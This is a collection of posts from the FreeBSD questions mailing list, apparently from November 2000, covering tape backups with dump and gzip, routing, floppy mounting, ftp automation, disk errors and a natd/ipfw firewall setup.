> I must have an IP on the shared connection since that's the only place
> where I can be sure to have a non changing IP for my DNS. But the ADSL
> is much faster so I would like to use that as much as possible.

Question: what are you using the static IP for? I.e. - who connects to
it, and vice versa?

> I can give my machine an IP on each connection but I can of course only
> set one default route. The default route is currently set to the ADSL.
> The problem is that when a connection is made to IP on the shared
> connection my computer uses the ADSL IP to respond and that does not
> work.
> 
> Is there a solution to this? I thought about maybe it is possible to
> route differently when a connection is made on the shared connection but
> I can't find out how to do it.

Well, if you can narrow down who connect on the shared connection, you
can add a route for those addresses pointing to the shared
connection. It's been about five years, but I used to do that, but if
the only people connecting to the shared IP are on the campus net, you
can add a route that looks like

	route add -net campus.net static.ip [campus.netmask]

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svga <svga@polbox.com> types:
> Many thanks! It seems to work ok!
> So how to use restore in this case?

The obvious (dd if=/dev/rsa0 ibs=10k | gzcat | restore xf -) should
work, but gunzip will complain about "trailing garbage
ignored". "conv=osync" adds the trailing garbage (actually nulls) to
pad the file out to a full block so that the tape device driver
doesn't complain about getting a short block at the end. You can use
the -q option of gzcat, but that will make all other warnings vanish
as well.

Now that I look a the gzip man page, it discusses all this at the
end. You should have read that before asking the question :-(.

	<mike

> #dump 0af - / | gzip -9 | dd of=/dev/rsa0 obs=10k conv=osync
>   DUMP: Date of this level 0 dump: Sat Nov  4 12:57:37 2000
>   DUMP: Date of last level 0 dump: the epoch
>   DUMP: Dumping /dev/da0s1a (/) to standard output
>   DUMP: mapping (Pass I) [regular files]
>   DUMP: mapping (Pass II) [directories]
>   DUMP: estimated 34125 tape blocks.
>   DUMP: dumping (Pass III) [directories]
>   DUMP: dumping (Pass IV) [regular files]
>   DUMP: DUMP: 34153 tape blocks
>   DUMP: finished in 100 seconds, throughput 341 KBytes/sec
>   DUMP: DUMP IS DONE
> 29273+1 records in
> 1464+0 records out
> 14991360 bytes transferred in 100.211964 secs (149597 bytes/sec)
> 
> regards,
> Olek
> 
> Mike Meyer wrote:
> 
> > Please send responses back to questions@freebsd.org; others may want
> > to see or be able to help.
> >
> > svga <svga@polbox.com> types:
> > >
> > > -c isn't needed. The problem may be /dev/rsa0 is doing strange
> > > things. Try sending the output of gzip through dd:
> > >
> > > #dump 0af - / | gzip -9 | dd of=/dev/rsa0 bs=10k
> > >
> > >   DUMP: Date of this level 0 dump: Fri Nov  3 23:36:11 2000
> > >   DUMP: Date of last level 0 dump: the epoch
> > >   DUMP: Dumping /dev/da0s1a (/) to standard output
> > >   DUMP: mapping (Pass I) [regular files]
> > >   DUMP: mapping (Pass II) [directories]
> > >   DUMP: estimated 34125 tape blocks.
> > >   DUMP: dumping (Pass III) [directories]
> > >   DUMP: dumping (Pass IV) [regular files]
> > >   DUMP: DUMP: 34153 tape blocks
> > >   DUMP: finished in 101 seconds, throughput 338 KBytes/sec
> > >   DUMP: DUMP IS DONE
> > > dd: /dev/rsa0: Invalid argument
> > > 915+915 records in
> > > 915+914 records out
> > > 14985216 bytes transferred in 101.744104 secs (147283 bytes/sec)
> >
> > Looks like I was right - /dev/rsa0 is upset about the stream output to
> > it. You'll have to figure out what it's limitations are, so you know
> > what options to set on dd to get it to do the right thing. If you
> > don't know what's up with the tape drive, I'd suggest replacing
> > "bs=10k" with "obs=10k conv=osync".
> >
> >         <mike
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Hello Marc,

Saturday, November 04, 2000, 11:42:42 AM, you wrote:

> Hi there,

> Take a look at OpenCart -- I believe that's what cdrom.com uses.  I'm
> not sure about whether you need root or not, but it'll definitely work
> on BSD.  :)

I heard akopia.com's script (indirect successor of MiniVend) is pretty
much configurable as you want but perhaps a little bit hard to use at
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Thanks a lot again.
I had  read gzip man page before but I didn't know how to connect it with
dump.

Best regards,
Olek

Mike Meyer wrote:

> svga <svga@polbox.com> types:
> > Many thanks! It seems to work ok!
> > So how to use restore in this case?
>
> The obvious (dd if=/dev/rsa0 ibs=10k | gzcat | restore xf -) should
> work, but gunzip will complain about "trailing garbage
> ignored". "conv=osync" adds the trailing garbage (actually nulls) to
> pad the file out to a full block so that the tape device driver
> doesn't complain about getting a short block at the end. You can use
> the -q option of gzcat, but that will make all other warnings vanish
> as well.
>
> Now that I look a the gzip man page, it discusses all this at the
> end. You should have read that before asking the question :-(.
>
>         <mike
>
> > #dump 0af - / | gzip -9 | dd of=/dev/rsa0 obs=10k conv=osync
> >   DUMP: Date of this level 0 dump: Sat Nov  4 12:57:37 2000
> >   DUMP: Date of last level 0 dump: the epoch
> >   DUMP: Dumping /dev/da0s1a (/) to standard output
> >   DUMP: mapping (Pass I) [regular files]
> >   DUMP: mapping (Pass II) [directories]
> >   DUMP: estimated 34125 tape blocks.
> >   DUMP: dumping (Pass III) [directories]
> >   DUMP: dumping (Pass IV) [regular files]
> >   DUMP: DUMP: 34153 tape blocks
> >   DUMP: finished in 100 seconds, throughput 341 KBytes/sec
> >   DUMP: DUMP IS DONE
> > 29273+1 records in
> > 1464+0 records out
> > 14991360 bytes transferred in 100.211964 secs (149597 bytes/sec)
> >
> > regards,
> > Olek
> >
> > Mike Meyer wrote:
> >
> > > Please send responses back to questions@freebsd.org; others may want
> > > to see or be able to help.
> > >
> > > svga <svga@polbox.com> types:
> > > >
> > > > -c isn't needed. The problem may be /dev/rsa0 is doing strange
> > > > things. Try sending the output of gzip through dd:
> > > >
> > > > #dump 0af - / | gzip -9 | dd of=/dev/rsa0 bs=10k
> > > >
> > > >   DUMP: Date of this level 0 dump: Fri Nov  3 23:36:11 2000
> > > >   DUMP: Date of last level 0 dump: the epoch
> > > >   DUMP: Dumping /dev/da0s1a (/) to standard output
> > > >   DUMP: mapping (Pass I) [regular files]
> > > >   DUMP: mapping (Pass II) [directories]
> > > >   DUMP: estimated 34125 tape blocks.
> > > >   DUMP: dumping (Pass III) [directories]
> > > >   DUMP: dumping (Pass IV) [regular files]
> > > >   DUMP: DUMP: 34153 tape blocks
> > > >   DUMP: finished in 101 seconds, throughput 338 KBytes/sec
> > > >   DUMP: DUMP IS DONE
> > > > dd: /dev/rsa0: Invalid argument
> > > > 915+915 records in
> > > > 915+914 records out
> > > > 14985216 bytes transferred in 101.744104 secs (147283 bytes/sec)
> > >
> > > Looks like I was right - /dev/rsa0 is upset about the stream output to
> > > it. You'll have to figure out what it's limitations are, so you know
> > > what options to set on dd to get it to do the right thing. If you
> > > don't know what's up with the tape drive, I'd suggest replacing
> > > "bs=10k" with "obs=10k conv=osync".
> > >
> > >         <mike
> > >



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Real briefly,

I have PNPBIOS compiled in to make my laptops on board
sound work.  Sound works fine.

However, now only one of my pcmcia devices will work
at any given time.  Rather, only slot 1 (the bottom)
slot works.  In the upper slot, the pccardd recognizes
the card there but, the card in the slot will not
work.

When PNPBIOS is compiled out, both slots work fine.

-Nate

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You really should customize something like this to your
system/time/budget/needs.  You should check out mysql , postgress and
oracle.  Progress is a basic-like environment that combines application
development and database management in one product.  Very Expensive though.
This is not really a FreeBSD issue.  These database companies make their
product multi-os/multi-platform and some come with "transaction servers" for
web dev.  Cgi's are also multi-os/multi-platform and can be written in
pretty much any language.

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Subject: Re: Recomended shopping carts that are FreeBSD compatible
anyone?


Hi there,

Take a look at OpenCart -- I believe that's what cdrom.com uses.  I'm
not sure about whether you need root or not, but it'll definitely work
on BSD.  :)

Cheers,
Marc

On Fri, Nov 03, 2000 at 01:23:21PM -0800, gummibear@nettaxi.com wrote:
>
>
> I'm searching for a shopping cart for a web store.  The site is hosted on
a FreeBSD powered site.  I'm looking for something that's either written in
CGI or PHP and can access MySQL databases.  I'm interested in something
simple where the database and corresponding scripts are easily customisable
to suit my product data.
>
> I've haved played with agora.cgi, allcommerce, and many others.  Most are
a pain to setup and some need root privledges which I do not have.
>
> Any advice would be helpfull.  Thanks!
>
> Joey
>
>
>
> ------------------------------------------------------------
> Nettaxi MP3 Player, Burner, Ripper - NEW Version 2.0!!! DOWNLOAD IT FREE!
(5MBs)
> MP3 DOWNLOAD:  http://www.nettaxi.com/mp3/version_2/ntxy_MP3_setup.exe
>
>
>
>
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Speaking of Oracle.  Is anyone running the 8i for linux on FreeBSD?  I'm
curious to know how that runs on FreeBSD.

-----Original Message-----
From: Tony Johnson [mailto:gjohnson@gs.verio.net]
Sent: Saturday, November 04, 2000 10:37 AM
To: Marc Silver; gummibear@nettaxi.com
Cc: questions@freebsd.org
Subject: RE: Recomended shopping carts that are FreeBSD compatible
anyone?


You really should customize something like this to your
system/time/budget/needs.  You should check out mysql , postgress and
oracle.  Progress is a basic-like environment that combines application
development and database management in one product.  Very Expensive though.
This is not really a FreeBSD issue.  These database companies make their
product multi-os/multi-platform and some come with "transaction servers" for
web dev.  Cgi's are also multi-os/multi-platform and can be written in
pretty much any language.

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Subject: Re: Recomended shopping carts that are FreeBSD compatible
anyone?


Hi there,

Take a look at OpenCart -- I believe that's what cdrom.com uses.  I'm
not sure about whether you need root or not, but it'll definitely work
on BSD.  :)

Cheers,
Marc

On Fri, Nov 03, 2000 at 01:23:21PM -0800, gummibear@nettaxi.com wrote:
>
>
> I'm searching for a shopping cart for a web store.  The site is hosted on
a FreeBSD powered site.  I'm looking for something that's either written in
CGI or PHP and can access MySQL databases.  I'm interested in something
simple where the database and corresponding scripts are easily customisable
to suit my product data.
>
> I've haved played with agora.cgi, allcommerce, and many others.  Most are
a pain to setup and some need root privledges which I do not have.
>
> Any advice would be helpfull.  Thanks!
>
> Joey
>
>
>
> ------------------------------------------------------------
> Nettaxi MP3 Player, Burner, Ripper - NEW Version 2.0!!! DOWNLOAD IT FREE!
(5MBs)
> MP3 DOWNLOAD:  http://www.nettaxi.com/mp3/version_2/ntxy_MP3_setup.exe
>
>
>
>
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Hi,
When I attempt to boot my FreeBSD 3.3 system, the boot
stalls with this message:
changing root device to wd0s1a
changing root device to wd0a
error 6: panic: cannot mount root (2)

I tried rearranging the IDE chain and even installing
on a different harddrive, but run into the same
message. Any suggestions as to how to prevent this? 
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Does FreeBSD have SCSI emulation for ATAPI ide drives? If not is there =
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* satkal79@yahoo.com <satkal79@yahoo.com> [20001104 15:40]:
=>Dear Sir ,
=>How to use my floppy disk drive ?? ....i m not sure on
=>the command , pls someone help me. 

Assuming that you own this system, just put yourself in the group 'wheel'
(/etc/group) then create a directory (herein called a mount point) in your
home directory where you'll be mounting the floppy disk. I suggest you
call it floppy3

admin:~$ less /etc/group | grep wheel
wheel:*:0:root,admin

So go to where this wheel is and add your username there..it becomes
wheel:*:0:root,admin,your_login_name

Then in your home directory,
mkdir /floppy3

You can use the 'sudo' command to mount the floppy disk now. Put it in the
drive and type

sudo mount_msdos /dev/fd0 floppy3

It asks for a password - just type the same password you always login with
as this particular user and press ENTER
Now you can read/write to from/to floppy disk.
cd floppy3 
ls -al
cp filea some_destination_directory
less file_name
anything.....

NB: Before removing the floppy from the drive please please remember to
UNMOUNT it....

type cd to get out from it, then

sudo umount floppy3

Key in the password again and press ENTER. Now you can eject the floppy.

=>I m using Creative
=>Vibra 128 bits sound card , i m eager to configure my
=>sound card ...pls someone help me in going abt the
=>configuration....

Sorry I have no idea about this. Someone else may assist....


HTH


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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 11/4/00, 3:23:24 PM, "David J. Kanter" <david.kanter@mindspring.com> =

wrote regarding /tmp permissions:


> I did a make world and then (mistakenly?) ran mergemaster using /tmp=20
as the
> temporary root. I believe that changed the permissions on /tmp so now,=
=20
after
> re-booting, I have to change them back.

> I changed /tmp to 777, then did a +t.


Dear David Kanter,

209 6:24pm ~ >=3D=3D=3D=3D> ll -d /var/tmp
drwxrwxrwt  47 root  wheel  25600 Nov  4 17:51 /var/tmp

210 6:24pm ~ >=3D=3D=3D=3D> ll -d /usr/tmp
drwxrwxrwt  2 root  wheel  512 Aug  2 11:27 /usr/tmp

AFAIK, usually/typically all directories of this kind have such=20
permissions.

Best regards,
Salvo





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Hi there!

I have to chose a motherboard for a new computer i will instal FreeBSD
4.1.1-RELEASE

my options are:

MSI Microstar MSI 6153 PIII FCPGA ATX VIA-133 AGP 4X

SOYO 7VBA-133 SLOT PGA PIII BUS 133 AGP ATX

thanks for your hints.

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I have a brand new (few months old) western digital EIDE hard drive in my
system. I am running 
FreeBSD welsh.dynip.com 4.1-RELEASE FreeBSD 4.1-RELEASE #1: Fri Sep  8
22:19:09 EST 2000     root@welsh.dynip.com:/usr/src/sys/compile/ROLAND
i386


and all of a sudden I am getting a lot of error messages in my syslog
refering to the hard drive and I hear the hard drive "ticking" off and on
when there is much disk activity (ftp). The messages are

Nov  4 10:20:54 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:20:54 welsh /kernel: swap_pager: indefinite wait
buffer: device: #ad/0x20001, blkno: 296, size: 4096
Nov  4 10:23:04 welsh /kernel: ad0: READ command timeout - resetting
Nov  4 10:23:04 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:23:04 welsh /kernel: ad0: read interrupt arrived earlyad0: read
error detected (too) late
Nov  4 10:27:06 welsh /kernel: ad0: READ command timeout - resetting
Nov  4 10:27:07 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:27:07 welsh /kernel: ad0: read interrupt arrived earlyad0: read
error detected (too) late
Nov  4 10:31:37 welsh /kernel: ad0: READ command timeout - resetting
Nov  4 10:31:38 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:31:42 welsh /kernel: ad0: read interrupt arrived earlyad0: read
error detected (too) late
Nov  4 10:31:55 welsh /kernel: ad0: READ command timeout - resetting
Nov  4 10:32:16 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:32:16 welsh /kernel: ad0: read interrupt arrived earlyad0: read
error detected (too) latead0: READ command timeout - resetting
Nov  4 10:32:16 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:34:48 welsh /kernel: ad0: READ command timeout - resetting
Nov  4 10:34:53 welsh /kernel: ata0: resetting devices .. done
Nov  4 10:34:53 welsh /kernel: ad0: read interrupt arrived earlyad0: read
error detected (too) late


I have searched the archives on usenet and see that this seems to happen
to a lot of people running 4.0,4.1 freebsd. I have seen some people say
that a kernel update solved the problem, others said that you need to do

"There is a work-around if you are installing FreeBSD 4.0 stable onto an
existing system: add
     /sbin/sysctl -w hw.atamodes=pio,pio,pio,pio
 to the beginning (just after #!/bin/sh) of /etc/rc and also /root/.login
(for csh) and /root/profile (for sh)."

I'm not sure who to believe. I will upgrade if necessary, for what its
worth, heres the output of whatever this command is ;)
[root@welsh]# sysctl hw.atamodes
hw.atamodes: pio,---,

hardware problem or software problem?
any help apprectiated.

regards,
Jason



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On Fri, Nov 03, 2000 at 09:30:00PM -0800, Doug Barton wrote:
[snip]
> > on this list. The differece I see is that I have 4.1.1-RELEASE installed;
> > so /usr/lib/libssl.a as well as /usr/lib/libcrypto.a have RSA in them (and,
> > of course, no /usr/lib/librsa*). Both have 444 permissions. Still only
> > root can use ssh.
> 
> 	Here's a silly question. Are you sure that root and your unpriv'ed user
> are accessing the same ssh binaries?  I see you're using csh, try
> 'whereis ssh; echo $PATH' in both shells. If that doesn't show anything
> interesting, try exec'ing sh and type, 'type ssh' both places. 
> 
> Doug

Verified; there is only one ssh and one sshd binary on the m/c.
Exec'ing sh and typing 'type ssh' gives the same output for root/user: 
ssh is /usr/bin/ssh 
I am able to ssh to the m/c from Protocol-1 clients.

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Eric,
I'm not sure about the current status, but i do remember hearing at
one time that FreeBSD had problems with some boards using the VIA
chipset. Soyo boards have always been good to me in the past. If
you're set on getting the VIA board, I'd check out archives for the
problem to see if it was resolved. I don't remember exactly what it
was, just remember hearing that there was one. Maybe someone else can
shed some light on this.
-Otter

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}Hi there!
}
}I have to chose a motherboard for a new computer i will
}instal FreeBSD
}4.1.1-RELEASE
}
}my options are:
}
}MSI Microstar MSI 6153 PIII FCPGA ATX VIA-133 AGP 4X
}
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No need to respond, I found this in the documentation.

thanks -jp

--- Jamie Pemantell <techbot2@yahoo.com> wrote:
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> When I attempt to boot my FreeBSD 3.3 system, the
> boot
> stalls with this message:
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> 
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Hi everyone,

Here is my setup; a small network of three computers, two of which
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Preparing the HD for dual boot is not an option so I was planning
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The CD burner (SCSI) is on one of the FreeBSD computers.

I've been scratching my head a while about how to do this, specifically
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like, only one file system (root)?

Secondly, will I be able to restore to the FreeBSD computers after
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On Sat, Nov 04, 2000 at 02:08:55AM +0530, N. D. Gangadhar wrote:
> I have the same problem as was discussed in 
> 
> date: Sun, 03 Sep 2000 17:59:34 +0900 (JST)
> from: Marty Cawthon <mrc@ChipChat.ne.jp>
> subject: "Re: SSH fails for user, but succeeds for root"
> message-id:  <20000903175934R.mrc@ChipChat.ne.jp>
> 
> on this list. The differece I see is that I have 4.1.1-RELEASE installed;
> so /usr/lib/libssl.a as well as /usr/lib/libcrypto.a have RSA in them (and,
> of course, no /usr/lib/librsa*). Both have 444 permissions. Still only 
> root can use ssh.

I used sudo to get around the problem. But it would be nice to have it
behaving normally. Any help is welcome. 

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> FreeBSD Alpha does not have the maturity of FreeBSD Intel, but it is
making
> great progress because of a few enthusiasts who recognize its great
> potential.

That's excellent to hear.

> Meanwhile the Itanium, if it ever becomes reality, is an answer in search
of
> a question.

Which is why my vote goes to Hammer.  Taking FreeBSD to x86-64 should not be
anything near the work of taking it to any other 64bit Platform.

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I just installed cucipop 1.31. User mail is kept in each user's home 
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Sir,
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hello everybody-
   i've just install bsd for the first time.  i installed via ftp and
everything went great.  well,  that is up until it was time to boot off
the disk.  the floppy disk llight comes on and stays on as if it's
looking for something.  anyway, there must be a way to rewrite the mbr
and/or verify the boot loader.  i manually mounted each of the
filesystems and it's all good.

here's  a list of my partitions
device    mount pt.
ad0s1a    /
ad0s1b    swap
ad0s2e    /home
ad0s2f    /usr

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thanks for the info, I will check it, thanks for your help on this Otter!

Eric.


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> Eric,
> I'm not sure about the current status, but i do remember hearing at
> one time that FreeBSD had problems with some boards using the VIA
> chipset. Soyo boards have always been good to me in the past. If
> you're set on getting the VIA board, I'd check out archives for the
> problem to see if it was resolved. I don't remember exactly what it
> was, just remember hearing that there was one. Maybe someone else can
> shed some light on this.
> -Otter
> 
> }-----Original Message-----
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> }To: freebsd-questions@FreeBSD.ORG
> }Subject: motherboard for FreeBSD....
> }
> }
> }Hi there!
> }
> }I have to chose a motherboard for a new computer i will
> }instal FreeBSD
> }4.1.1-RELEASE
> }
> }my options are:
> }
> }MSI Microstar MSI 6153 PIII FCPGA ATX VIA-133 AGP 4X
> }
> }SOYO 7VBA-133 SLOT PGA PIII BUS 133 AGP ATX
> }
> }thanks for your hints.
> }
> }Eric De La Cruz Lugo
> }
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> Been using KDE for about a year ... tried a couple of others, Gnome for
> example,found KDE good in terms of stability / functionality....I
> hear from
> the gnomers that big strides have been made in stability
> so.......it maay also
> now be worth a crack. but if a windows person asks me about using FreeBSD
> for a personal computer  KDE is the one I am going to show them

I had heard that Gnome stability had improved and tried it. After 10 minutes
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I use a US Robotic Sportser, but for anybody without an available ISA slot
any external serial modem is sure to work. I should expect an external USB
modem also to work.

Paul Smith


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> A US Robotics/3Com ISA Modem with jumpers on it...
>
> ----- Original Message -----
> From: "Adrian De Souza" <adesouza@hpu.edu>
> Date: Friday, October 27, 2000 9:43 pm
> Subject: Modem Compatibility
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> > To whom it may concern:
> >
> > I want to purchase a modem for my FreeBSD system. I have checked
> > out the recommended
> > hardware section on the FreeBSD webpage but was of little help to
> > me (nothing
> > on modems). Can anyone recommend any modem that they are sure will
> > work?
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> >
> > Adrian De Souza
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On Sat, Nov 04, 2000 at 02:21:11AM -0600, Don Read wrote:

[snip]
 
> Why all the futzing around with ex/vi/ed ?
> 
> localhost.dread$ crontab -l | grep -v "^#"
> 46 3-23/3 * * * bin/getsignups  > /dev/null
> 
> localhost.dread$ crontab -l | sed 's/^46 /16 /' | crontab -
> 
> localhost.dread$ crontab -l | grep -v "^#"
> 16 3-23/3 * * * bin/getsignups  > /dev/null

That's not going to work very well since each time you execute it you
will be adding those three lines like,

  # DO NOT EDIT THIS FILE - edit the master and reinstall.
  # (/tmp/crontab.iTfPR40035 installed on Fri Nov  3 21:50:01 2000)
  # (Cron version -- $FreeBSD: src/usr.sbin/cron/crontab/crontab.c,v 1.12 1999/08/28 01:15:52 peter Exp $)

To the top. If you had the second command like,

  $ crontab -l | tail +4 | sed '1s/^/#/' | crontab -

It would do what the original poster wanted. But I do not see why he
cannot get the vi(1) to work. And I really cannot ficure out why
sometimes it works and sometimes it does not work for me.
-- 
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On Sat, Nov 04, 2000 at 12:52:19AM -0000, Chris Sheppard wrote:
> I'm trying to use a perl cgi script to encrypt the results of a feedback form 
> and then email it. I've installed PGP 2.6.3i and everyting works fine as long 
> as you run the script from the command line. However, if I run it from a www 
> cgi form the PGP program tries to communicate with the perl script as if it is 
> an interactive user and asks for random key presses!
> 

You need to have pgp run in batch mode so that it does not ask the user
anything. This was improved in the more recent versions (pgp5 and gnupg) but
is also possible in pgp2, you might want to look how they did it in `mutt' 
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Dear FreeBSd'ers,

FreeBSD lint(1) libraries are not built in /usr/libdata/lint by
default. So I have cd'ed to /usr/src/usr.bin/xlint/llib, made them,
and intalled them. Actually, in /usr/libdata/lint I can now see the
files llib-lposix.ln and llib-lstdc.ln, but no llib-lc.ln. Yet the
error "lint: cannot find llib-lc.ln" is printed; and llib-lc.ln is
mentioned in lint(1).

The -questions archives have given me no clues.

<EDUCATED (?) GUESS>
llib-lstdc.ln has replaced llib-lc.ln; the docs do not reflect this
situation. If this is the case, I could write a doc PR.
</EDUCATED (?) GUESS>

If llib-lc.ln is supposed to exist and work, then I'll have to write
another (different) PR :-)

Is lint supposed to work under FreeBSD 4-S? Am I missing anything
trivial?

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>>>>>>>>>>>>>>>>>> Original Message <<<<<<<<<<<<<<<<<<

On 11/4/00, 9:59:27 PM, Marko Cuk <cuk@cuk.nu> wrote regarding=20
Stability:


> Hello !!

> Can anyone explain me, why is FreeBSD known as powerful sistem with
> industrial strenghth and rock stability, but I manage to crash it=20
several
> times.

> The bridge code in 4.1x is unstable in conjuction with ipfw, I had=20
several
> problems with Vinum and Raid5 and maschine crashed every day if I used=

> something od previously mentioned things.

> I came from Linux world, wich was unlikely for me, but Linux never=20
crashed on
> my maschines. My average uptime was 100 days with bridge, with raid5=20
and so
> on....

> This is not a threat or something, but I am curious, why FBSD crashes =

in such
> manners. I also managed to run Vinum twice by mistake, but, again,=20
maschine
> crashed.

> Thanks, Marko Cuk



Dear Marko Cuk,

If you provided more details, somebody might help you identify your=20
sw/hw problems, debug them and solve them.=20

Among other people, Greg Lehey, the author of vinum, reads this=20
mailing list, and I think he would be interested in knowing what=20
specific problems you have met.

Best regards,
Salvo





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joe wrote to freebsd-questions@FreeBSD.ORG:

> Dear sir/Madam
> 
>     I've been trying to use the ftp (auto-fetch) command: 
>         ftp ftp://[user:password@]host[:port]/file[/]
>
> As I found, the default file transferring operation of this
> instruction is eqivalant to a ftp's "get" command, but actually I want
> this command to perform a ftp's "put" command and do it automatically.
> Therefor, are there any options or parameters I have to add to make it
> works?

Actually, ftp(1) doesn't support this sort of command line operation.  
Some time ago (FreeBSD 2.2.x, I think), I patched ftp(1) to support a put
if two arguments were given.  (Worked for single files).

Probably better is to write a .netrc in your home directory.

For example:

machine ftp.host.com
login yourname
password yourpassword
macdef init
put /path/to/local.file ./remote.file
quit

Then, from the command line

$ chmod 600 .netrc
$ ftp ftp.host.com

You MUST chmod 600 this file so that it is not readable by others
(otherwise, ftp(1) will complain that you have a world-readable password)

When you execute `ftp ftp.host.com`, ftp(1) will read .netrc, find your
login and password for ftp.host.com, and do the contents of the
"init" macro, which uses "put" to upload a file, then quits.

You could leave out the quit, and ftp(1) would be left in interactive
mode.


Hope this helps!

- Ryan

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I've found that Enlightenment has enough "desktop environment"-type
features to allow the deprecation of both KDE and GNOME.  Of course, it's
a hog relative to other window managers (like Sawmill) but if you like eye
candy, there is no other choice.

Pete

On Sat, 4 Nov 2000, Heredity Choice wrote:

> > Been using KDE for about a year ... tried a couple of others, Gnome for
> > example,found KDE good in terms of stability / functionality....I
> > hear from
> > the gnomers that big strides have been made in stability
> > so.......it maay also
> > now be worth a crack. but if a windows person asks me about using FreeBSD
> > for a personal computer  KDE is the one I am going to show them
> 
> I had heard that Gnome stability had improved and tried it. After 10 minutes
> it crashed.  I shall stay with KDE.
> 
> Paul Smith
> 
> 
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If you install ncftp from the ports, you should get ncftpput and ncftpget
which are command-line variations of the two commands, very useful for
scripts and batch processing.

Pete

On Sat, 4 Nov 2000, Ryan Thompson wrote:

> joe wrote to freebsd-questions@FreeBSD.ORG:
> 
> > Dear sir/Madam
> > 
> >     I've been trying to use the ftp (auto-fetch) command: 
> >         ftp ftp://[user:password@]host[:port]/file[/]
> >
> > As I found, the default file transferring operation of this
> > instruction is eqivalant to a ftp's "get" command, but actually I want
> > this command to perform a ftp's "put" command and do it automatically.
> > Therefor, are there any options or parameters I have to add to make it
> > works?
> 
> Actually, ftp(1) doesn't support this sort of command line operation.  
> Some time ago (FreeBSD 2.2.x, I think), I patched ftp(1) to support a put
> if two arguments were given.  (Worked for single files).



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Can someone please point me to an authoritative site for implementing
IPFWADM?
I've got it installed, but when recompiling the kernel, it pukes at the end.

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Can someone with a parallel port zip on 4.x show me
what their kernel config looks like? 
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Subject: 4.1.1 natd redirect address not working Help Please ??
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 This is a bit long but I`ve been working on it for a day now so I have lots
of
info:
What I want: 1 server inside the firewall to have a public IP address. My
BSD
guru (he`s away right now) set it up on a 3.4 box and it works fine, now I`m
trying to do it on a 4.1.1 box and followed his example. It doesn`t work,
after
much trouble shooting I can tell you this.

If I ping from the private box (Private1) to a remote public box (R1) I can
see the
packets (using tcpdump) leave the firewall with the redirected address, they
arrive at R1 and R1 responds to the redirected address (RA). The packets
NEVER
return to the firewall.
If I traceroute from R1 to RA it stops at the firewall ISP`s (Nexxia)
routers.
If I traceroute from Private1 to R1 I hit the inside NIC of the firewall and
no more.
Here are my rules, .conf files, even the part I added to GENERIC and
recompiled.
(IP numbers have been changed to protect the innocent):

TEMfw3# ipfw show
00050  11  1344 divert 8668 ip from any to any via fxp0
00100  10   988 allow ip from any to any via lo0
00200   0     0 deny ip from any to 127.0.0.0/8
65000 165 11960 allow ip from any to any
65535   0     0 allow ip from any to any
TEMfw3#

TEMfw3# more rc.conf
# This file now contains just the overrides from /etc/defaults/rc.conf
# please make all changes to this file.

# Enable network daemons for user convenience.
# -- sysinstall generated deltas -- #
sendmail_enable="NO"
gateway_enable="YES"
sshd_enable="YES"
inetd_enable="YES"
##############################################################
###  Network configuration sub-section  ######################
##############################################################

### Basic network and firewall/security options: ###
hostname="TEMfw3"                       # Set this!
firewall_enable="YES"           # Set to YES to enable firewall
functionality
firewall_type="OPEN"            # Firewall type (see /etc/rc.firewall)
firewall_quiet="NO"             # Set to YES to suppress rule display
firewall_logging="YES"
natd_enable="YES"                # Enable natd (if firewall_enable == YES).
natd_interface="fxp0"           # Public interface or IPaddress to use.
natd_flags="-f /etc/natd.conf"
network_interfaces="auto"       # List of network interfaces (or "auto").
ifconfig_lo0="inet 127.0.0.1"   # default loopback device configuration.
ifconfig_fxp0="inet 216.208.171.XXX netmask 255.255.255.224"
ifconfig_fxp1="inet 10.150.0.241 netmask 255.255.255.0"
#
named_enable="YES"              # Run named, the DNS server (or NO).
defaultrouter="216.208.171.XXX"
TEMfw3#
TEMfw3# more natd.conf
redirect_address 10.150.0.143 216.208.171.XXX
TEMfw3#
From my kernal I just paste the section out of LINT and go.

#
# IPFIREWALL enables support for IP firewall construction, in
# conjunction with the `ipfw` program.  IPFIREWALL_VERBOSE sends
# logged packets to the system logger.  IPFIREWALL_VERBOSE_LIMIT
# limits the number of times a matching entry can be logged.
#
# WARNING:  IPFIREWALL defaults to a policy of "deny ip from any to any"
# and if you do not add other rules during startup to allow access,
# YOU WILL LOCK YOURSELF OUT.  It is suggested that you set
firewall_type=open
# in /etc/rc.conf when first enabling this feature, then refining the
# firewall rules in /etc/rc.firewall after you`ve tested that the new kernel
# feature works properly.
#
# IPFIREWALL_DEFAULT_TO_ACCEPT causes the default rule (at boot) to
# allow everything.  Use with care, if a cracker can crash your
# firewall machine, they can get to your protected machines.  However,
# if you are using it as an as-needed filter for specific problems as
# they arise, then this may be for you.  Changing the default to `allow`
# means that you won`t get stuck if the kernel and /sbin/ipfw binary get
# out of sync.
#
# IPDIVERT enables the divert IP sockets, used by ``ipfw divert``
#
# IPSTEALTH enables code to support stealth forwarding (i.e., forwarding
# packets without touching the ttl).  This can be useful to hide firewalls
# from traceroute and similar tools.
#
# TCPDEBUG is undocumented.
#
options         TCP_COMPAT_42           #emulate 4.2BSD TCP bugs
options         MROUTING                # Multicast routing
options         IPFIREWALL              #firewall
options         IPFIREWALL_VERBOSE      #print information about
                                        # dropped packets
options         IPFIREWALL_FORWARD      #enable transparent proxy support
options         IPFIREWALL_VERBOSE_LIMIT=100    #limit verbosity
options         IPFIREWALL_DEFAULT_TO_ACCEPT    #allow everything by default
options         IPDIVERT                #divert sockets
options         IPFILTER                #ipfilter support
options         IPFILTER_LOG            #ipfilter logging
options         IPSTEALTH               #support for stealth forwarding
options         TCPDEBUG


# The following options add sysctl variables for controlling how certain
# TCP packets are handled.
#
# TCP_DROP_SYNFIN adds support for ignoring TCP packets with SYN+FIN. This
# prevents nmap et al. from identifying the TCP/IP stack, but breaks support
# for RFC1644 extensions and is not recommended for web servers.
#
# TCP_RESTRICT_RST adds support for blocking the emission of TCP RST
packets.
# This is useful on systems which are exposed to SYN floods (e.g. IRC
servers)
# or any system which one does not want to be easily portscannable.
#
options         TCP_DROP_SYNFIN         #drop TCP packets with SYN+FIN
options         TCP_RESTRICT_RST        #restrict emission of TCP RST

# ICMP_BANDLIM enables icmp error response bandwidth limiting.   You
# typically want this option as it will help protect the machine from
# D.O.S. packet attacks.
#
options         "ICMP_BANDLIM"

